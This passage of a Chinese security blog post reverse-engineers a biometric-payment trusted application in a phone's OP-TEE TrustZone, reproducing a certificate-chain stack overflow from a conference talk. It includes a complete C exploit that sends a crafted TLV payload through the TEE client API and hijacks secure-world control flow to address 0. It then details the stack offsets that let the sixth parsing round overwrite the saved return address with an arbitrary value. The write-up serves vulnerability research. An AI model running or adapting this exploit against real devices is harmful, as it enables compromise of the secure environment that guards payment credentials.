<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">20</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="mi">47</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">259</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">ecc_sign_raw_data</span><span class="o">:</span><span class="mi">524</span><span class="o">:</span> <span class="n">content</span> <span class="n">length</span> <span class="n">is</span> <span class="n">unexpected</span> <span class="mi">16</span>
<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">20</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="mi">47</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">398</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">ecc_sign_raw_data</span><span class="o">:</span><span class="mi">524</span><span class="o">:</span> <span class="n">content</span> <span class="n">length</span> <span class="n">is</span> <span class="n">unexpected</span> <span class="mi">16</span>
<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">20</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="mi">48</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">403</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">ecc_sign_raw_data</span><span class="o">:</span><span class="mi">524</span><span class="o">:</span> <span class="n">content</span> <span class="n">length</span> <span class="n">is</span> <span class="n">unexpected</span> <span class="mi">16</span>
<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">20</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="mi">48</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">259</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">ecc_sign_raw_data</span><span class="o">:</span><span class="mi">524</span><span class="o">:</span> <span class="n">content</span> <span class="n">length</span> <span class="n">is</span> <span class="n">unexpected</span> <span class="mi">16</span>
<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">21</span><span class="o">:</span><span class="mi">12</span><span class="o">:</span><span class="mi">33</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">403</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">mp_handler</span><span class="o">:</span><span class="mi">66</span><span class="o">:</span> <span class="n">Invalid</span> <span class="n">protocol</span> <span class="n">version</span> <span class="mi">11223344</span>
</code></pre></div></div>
<h3 id="6-漏洞分析">(6) 漏洞分析</h3>
<p>至此,我们已经可以和目标PTA进行交互,并且观察对应的打印信息。接下来我们就继续逆向,分析目标漏洞的位置以及触发方式。PPT中提到的漏洞代码没有直接引用的字符串,所以不太容易直接定位,但是可以看到左侧的说明,目标位置应该与ifaa_in_validate_req_sig这个字符串相关:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/bug1.png" alt="image" /></p>
<p>在IDA中找到这个串并交叉引用,确认只有一处,即sub_801F27C,漏洞代码也就在这里,因此这个函数也是逆向的重点,对于真实业务的逆向有一些技巧:</p>
<ol>
<li>首先最重要的就是log string,通过log字符串基本可以看出对应功能,比如这里的log函数的第一个参数,就是当前函数名</li>
<li>另外就是确定目标的处理逻辑是否在完成一些公开的标准、协议、密码算法等运算,如果是则可通过公开的文档辅助逆向</li>
<li>还有就是根据对目标的理解以及经验猜测目标的处理逻辑,快速捋请目标的大概逻辑,并寻找需要关注的重点细节进行逆向</li>
<li>最后在如果能调试情况下,可以通过不同的输入,触发不同的目标逻辑,观察结果,进而辅助逆向</li>
</ol>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/ifaa_in_validate_req_sig.png" alt="image" /></p>
<p>很明显这个有漏洞的while循环在处理证书链,但这是一个什么证书链呢?这里有为什么会出现证书的解析呢?log string提醒了我们,这是 <a href="https://ifaa.org.cn/">IFAA(互联网金融身份认证联盟)</a>本地免密的相关处理代码,例如指纹支付。因此研究到这个地步,才真正的进入了TrustZone的业务世界,彻底离开了OP-TEE的hello world example新手村。</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/ifaa.png" alt="image" /></p>
<p>IFAA本地免密的标准文档目前总共有两版,网上可以找到2016年的第一版:<a href="https://ifaa.org.cn/bjc/file/1193e9120f0b11e9beb60242c0a82a17?download=true">IFAA本地免密技术规范(T/IFAA 0001-2016)</a>,这版虽然没有总览全局的架构图,但是也有对逆向非常有帮助的信息,即协议格式。可以看到逆向结果sub_801F27C中的立即数0x8006在标准文档中也存在,表示IFAA服务商证书链:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/ifaa1.png" alt="image" /></p>
<p>整个IFAA本地免密支付的过程比较复杂,涉及多个角色之间的数据交互,但与IFAA TA的进行直接交互的角色只有IFAA framework(可以理解为本地调用TA的CA程序),因此目标漏洞必然可以通过CA向TA传递数据进行触发。不过在正常业务中,CA传递给TA的数据有时是来自IFAA Server的,相当于CA做一层数据的转发(这也是mlipayd提供binder接口的原因),即IFAA TA要解析IFAA Server传回的数据,数据封装的方法也就是上图提到的TLV,因此sub_801F27C也应该就是按照此TLV进行解析:</p>
<blockquote>
<p><a href="https://www.jianshu.com/p/f8fc92c1ce74">第一篇:关于IFAA</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/ifaa2.png" alt="image" /></p>
<p>更多IFAA内容可以参考:</p>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/30501638">IFAA在移动安全领域为身份认证保驾护航</a></li>
<li><a href="https://developer.huawei.com/consumer/cn/forum/topic/0202506656714510109">详解IFAA标准中的注册认证流程</a></li>
<li><a href="https://cloud.tencent.com/developer/article/1043485?from=10680">图解IFAA、SOTER方案接入工作流程</a></li>
<li><a href="https://blog.csdn.net/weixin_34221036/article/details/88039611">微信指纹支付原理浅析</a></li>
<li><a href="https://help.aliyun.com/document_detail/332906.html">生物识别(IFAA)介绍</a></li>
<li><a href="https://www.cnblogs.com/bossma/p/15782990.html">指纹登录是怎么跑起来的</a></li>
<li><a href="https://www.v2ex.com/t/741432">微信的指纹支付能否开通是厂商说了算还是微信说了算?</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/24336743">白话可信身份认证—FIDO、IFAA、TUSI</a></li>
<li><a href="https://cloud.tencent.com/developer/article/1102653">Android系统终端上不得不说的5个密钥!</a></li>
<li><a href="https://www.aqniu.com/industry/38649.html">IFAA成立三周年:从F到IoT</a></li>
</ul>
<p>我们回到逆向,根据推测漏洞函数sub_801F27C中解析了TLV相关数据,对此函数交叉引用有三条结果:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/re4.png" alt="image" /></p>
<p>根据文档中的TLV协议部分内容,可以推测这三条路分别对应:</p>
<ul>
<li>0x2: 注册 request</li>
<li>0x6: 校验 request</li>
<li>0xA: 注销 request</li>
</ul>
<blockquote>
<p>注:这个request是IFAA server生成的数据,传递给IFAA TA进行解析处理,处理后IFAA TA回给IFAA Server对应的response,当然IFAA TA无法与IFAA Server直接通信,因此所有数据正常情况下都由IFAA TA对应的CA进行转发</p>
</blockquote>
<p>那么议题中的漏洞示例是通过哪条路调用到sub_801F27C的呢?在PPT的java payload部分可以看到,根节点1后跟着的是立即数2,因此漏洞示例的触发方式应该是走的注册request分支,即sub_801F49C:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/java.png" alt="image" /></p>
<p>从sub_801F49C往上交叉引用的结果没有岔路,跟三层即可回到PTA mlipay的invoke入口函数sub_801EB58:</p>
<ol>
<li>sub_801FA5C: ifaa_tz_register</li>
<li>sub_80203D4: process_ifaa_cmd</li>
<li>sub_801EB58: mp_handler (mlipay invoke)</li>
</ol>
<p>因此就是从sub_801EB58开始逆向,逆向的目标为:确定输入数据<code class="language-plaintext highlighter-rouge">a4[0].memref.buffer</code>应该如何组织才能最后走到sub_801F27C并触发漏洞。因此在逆向过程中也可以不断地变换输入,然后观察打印的日志确认目标路径是否执行,辅助逆向:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/re5.png" alt="image" /></p>
<p>其中sub_80203D4比较长,看起来比较难逆,但其实也有技巧,比如最后调用到sub_801FA5C的路径限制,中间的一大堆只需要令v12等于2即可跳过,因此也能猜出来v12就是注册request的那个2:</p>
<blockquote>
<p>不要抵触猜,逆向过程中都是连蒙带猜的,这其实是经验的体现</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/re6.png" alt="image" /></p>
<p>另外sub_80203D4解析的数据也可以参考标准文档中的IFAA TA接口规范,这里就是按照这个标准实现的:</p>
<blockquote>
<p><a href="https://ifaa.org.cn/bjc/file/1193e9120f0b11e9beb60242c0a82a17?download=true">IFAA本地免密技术规范(T/IFAA 0001-2016)</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/ifaa3.png" alt="image" /></p>
<p>总体关键的解析函数以及对应的逆向方法如下:</p>
<ul>
<li>sub_801EB58: mp_handler: 入口函数,就俩条件,手逆</li>
<li>sub_80203D4: process_ifaa_cmd: 参考文档中的IFAA TA接口规范</li>
<li>sub_801F27C: ifaa_in_validate_req_sig: 参考文档中的TLV协议部分</li>
</ul>
<p>最终可以走到sub_801F27C中并触发栈溢出完成控制流劫持的exp如下:</p>
<blockquote>
<p>需要注意:在sub_80203D4中对<code class="language-plaintext highlighter-rouge">op.params[1].tmpref.buffer</code>传入的输出buffer也有一个小约束</p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <tee_client_api.h>
</span>
<span class="kt">void</span> <span class="nf">debug</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span> <span class="n">buf</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">len</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="k">if</span><span class="p">((</span><span class="n">i</span><span class="o">%</span><span class="mi">8</span><span class="o">==</span><span class="mi">0</span><span class="p">)</span> <span class="o">&&</span> <span class="p">(</span><span class="n">i</span><span class="o">!=</span><span class="mi">0</span><span class="p">))</span> <span class="n">printf</span><span class="p">(</span><span class="s">" "</span><span class="p">);</span>
<span class="k">if</span><span class="p">((</span><span class="n">i</span><span class="o">%</span><span class="mi">16</span><span class="o">==</span><span class="mi">0</span><span class="p">)</span> <span class="o">&&</span> <span class="p">(</span><span class="n">i</span><span class="o">!=</span><span class="mi">0</span><span class="p">))</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%02X "</span><span class="p">,</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="n">TEEC_Context</span> <span class="n">ctx</span> <span class="p">;</span>
<span class="n">TEEC_Session</span> <span class="n">sess</span><span class="p">;</span>
<span class="n">TEEC_Operation</span> <span class="n">op</span><span class="p">;</span>
<span class="n">TEEC_UUID</span> <span class="n">uuid</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x66F1C983</span><span class="p">,</span> <span class="mh">0x2444</span><span class="p">,</span> <span class="mh">0x42B4</span><span class="p">,{</span><span class="mh">0x8D</span><span class="p">,</span> <span class="mh">0xB1</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xB2</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x76</span> <span class="p">}};</span>
<span class="kt">int</span> <span class="n">r</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">TEEC_InitializeContext</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="o">&</span><span class="n">ctx</span><span class="p">);</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">TEEC_OpenSession</span><span class="p">(</span><span class="o">&</span><span class="n">ctx</span><span class="p">,</span> <span class="o">&</span><span class="n">sess</span><span class="p">,</span> <span class="o">&</span><span class="n">uuid</span><span class="p">,</span> <span class="n">TEEC_LOGIN_PUBLIC</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] open mlipay : %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">r</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">op</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">op</span><span class="p">));</span>
<span class="n">op</span><span class="p">.</span><span class="n">paramTypes</span> <span class="o">=</span> <span class="n">TEEC_PARAM_TYPES</span><span class="p">(</span><span class="n">TEEC_MEMREF_TEMP_INPUT</span><span class="p">,</span> <span class="n">TEEC_MEMREF_TEMP_OUTPUT</span><span class="p">,</span> <span class="n">TEEC_NONE</span><span class="p">,</span> <span class="n">TEEC_NONE</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x1000</span><span class="p">);</span>
<span class="cm">/* -------------------------------- sub_801EB58: mp_handler --------------------------------- */</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span> <span class="n">payload</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// 0x801EB94: if ( *buffer != 1 )</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x1000</span><span class="p">;</span> <span class="c1">// 0x801EBEC: v11 != 0x1000</span>
<span class="cm">/* -------------------------------- sub_80203D4: process_ifaa_cmd --------------------------- */</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x200</span><span class="p">;</span> <span class="c1">// 0x80203F4: v109 = *(_DWORD *)(input + 8); size total</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0xc</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// size total padding</span>
<span class="c1">// sig_len; signature</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// 0x801F198: size_data = read32(*data): size data</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x14</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// 0x8020458: EXTRACT_DATA((__int64)v72, &v68, &v69); v72</span>
<span class="c1">// pkg_len; pkg_name</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// 0x801F198: size_data = read32(*data): size data</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x1C</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// 0x8020470: EXTRACT_DATA((__int64)v73, &v68, &v69); v73</span>
<span class="c1">// command</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// 0x8020484: v12 = read32(v69)</span>
<span class="c1">// Param_len</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x24</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x100</span><span class="p">;</span> <span class="c1">// 0x80205E0: v11 = EXTRACT_DATA((__int64)&v83, &v68, &v69);</span>
<span class="cm">/* -------------------------------- sub_801FA5C: ifaa_tz_register --------------------------- */</span>
<span class="cm">/* -------------------------------- sub_80243CC: parse_request --------------------------- */</span>
<span class="cm">/* -------------------------------- sub_801F49C: --------------------------- */</span>
<span class="cm">/* -------------------------------- sub_801F27C: ifaa_in_validate_req_sig ------------------- */</span>
<span class="c1">// Params(TLV data)</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// root_node</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x2a</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xf0</span><span class="p">;</span> <span class="c1">// size</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x2c</span><span class="p">)</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// node_regdata</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x2e</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xe0</span><span class="p">;</span> <span class="c1">// size</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x8007</span><span class="p">;</span> <span class="c1">// node_sig</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x32</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span> <span class="c1">// size</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x34</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x8006</span><span class="p">;</span> <span class="c1">// node_certchain</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x36</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xd0</span><span class="p">;</span> <span class="c1">// size</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span> <span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">)</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span> <span class="c1">// number of cert !!!</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span> <span class="o">=</span> <span class="n">payload</span><span class="p">;</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x1000</span><span class="p">;</span>
<span class="cm">/* -------------------------------- sub_80203D4: process_ifaa_cmd --------------------------- */</span>
<span class="kt">char</span> <span class="o">*</span> <span class="n">output</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">output</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">;</span> <span class="c1">// 0x80203F8: v6 = output[1]; if(v6 == 0) v8 = "Invalid param";</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span> <span class="o">=</span> <span class="n">output</span><span class="p">;</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x1000</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] trigger bug !</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">TEEC_InvokeCommand</span><span class="p">(</span><span class="o">&</span><span class="n">sess</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&</span><span class="n">op</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] invoke mlipay : %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">r</span><span class="p">);</span>
<span class="n">debug</span><span class="p">(</span><span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span><span class="p">,</span><span class="mh">0x100</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"---------------------------</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">debug</span><span class="p">(</span><span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span><span class="p">,</span><span class="mh">0x100</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>编译上传执行,exp在执行TEEC_InvokeCommand后卡住,不一会后手机会重启,重启后查看tee日志,即可看到成功将OP-TEE Kernel控制流劫持到0地址:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/hijack.png" alt="image" /></p>
<h3 id="7-解析细节">(7) 解析细节</h3>
<p>但其实刚才的exp有两个问题,首先是如果使用非零的数据初始化输入内存,就会在完成控制流劫持前直接崩溃,即无法完成任意地址的控制劫持,以上的exp只能将控制流劫持到0地址:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">memset</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x1000</span><span class="p">);</span>
</code></pre></div></div>
<p>另外是解析证书的数量大于等于6时才能成功控制流劫持到0:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span> <span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">)</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span> <span class="c1">// number of cert !!!</span>
</code></pre></div></div>
<p>而按照漏洞函数sub_801F27C的逆向结果分析,栈上v29预留的空间为<code class="language-plaintext highlighter-rouge">qword[28]</code>,循环中指针每轮按qword加7,因此解析预期的最多轮数为4轮,所以第5轮证书解析就会发生栈溢出,ARM64的返回地址在每个函数栈顶,因此第5轮证书解析应该就会覆盖父级函数的返回地址:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/re7.png" alt="image" /></p>
<p>但如果将证书数量设置为5,则控制流劫持失败,会崩溃在其他位置:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/buglog.png" alt="image" /></p>
<p>并且议题PPT中利用也是用了6轮解析,那这是为什么呢?</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/6round.png" alt="image" /></p>
<p>要回答这两个问题,需要仔细的逆向漏洞函数sub_801F27C中的while循环,经过逆向,这段循环中一轮的解析逻辑大概如图:</p>
<blockquote>
<p>当逆向目标需要精确到字节的级别时,就不好连蒙带猜了,容易出错</p>
</blockquote>
<ul>
<li>输入的证书链数据中只有4个4字节数据会直接写入到栈上</li>
<li>栈上还会存3个指向证书链中变长数据的指针</li>
<li>因此循环里的内存写不是简单的memcpy,还会向栈上写入不可控的内存地址</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/resolve1.png" alt="image" /></p>
<p>如果令输入的变长数据的长度均为0,则一轮循环的输入退化为最简格式:4个4字节数据,后3个必须为0,而一轮循环的输出还是覆盖栈上的0x38(7*8)个字节。因此第5轮首次应该覆盖到栈上保存的x29寄存器的低4个字节,而x30寄存器应该覆盖为不可控的内存地址。因此按照推算,控制流劫持到任意地址压根不成立,这显然与实际矛盾:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/resolve2.png" alt="image" /></p>
<p>因为没有调试底层的能力,所以也不能通过调试器直接观察栈内存进行排错,因此还是只能继续逆向来寻找答案,那么关注点还要放到栈上。在ARM64函数调用的一般情况下,函数的栈在函数开头就抬好了,在整个当前函数的执行过程中,不会再次调整栈顶。也正是基于这个常见情况,我推测,漏洞函数sub_801F27C的while循环写的v29数组后面紧跟着的就是父函数栈上的x29和x30,但这与实际矛盾,因此可以推出:可能是父函数的栈变化了。寻找sub_801F27C的父函数,往上追踪其父级函数sub_801FA5C在调用sub_80243CC之前,确实在函数中间抬栈了 <code class="language-plaintext highlighter-rouge">sub sp, sp, #0x30</code>:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/stack.png" alt="image" /></p>
<p>因此漏洞函数sub_801F27C的v29数组结束后,距离父函数sub_801FA5C的栈上的x29寄存器还有0x30的偏移。而一轮循环解析可以覆盖0x38长度的数据,所以第5轮循环结束正好覆盖到父函数sub_801FA5C栈上保存的x29寄存器,因此第6轮的首4字节,可以覆盖到父函数sub_801FA5C栈上保存的x30(lr)寄存器的低四个字节,而目标OP-TEE的地址空间也只有32个bit,所以只覆盖x30的低四个字节也是正好,最后当sub_801FA5C函数返回时,任意地址的控制流劫持发生:</p>
<blockquote>
<p>所以也是巧了,要是没有sub_801FA5C这个抬栈,任意地址的控制流劫持甚至都无法发生</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/stack2.png" alt="image" /></p>
<p>令输入的变长数据的长度均为0,每轮循环的输入退化为最简的4个4字节数据,因此每轮的输入数据为16个字节,所以将第6轮首4个字节设置为0xdeadbeef,即可将控制流劫持到0xdeadbeef:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span> <span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">)</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span> <span class="c1">// number of cert !!!</span>
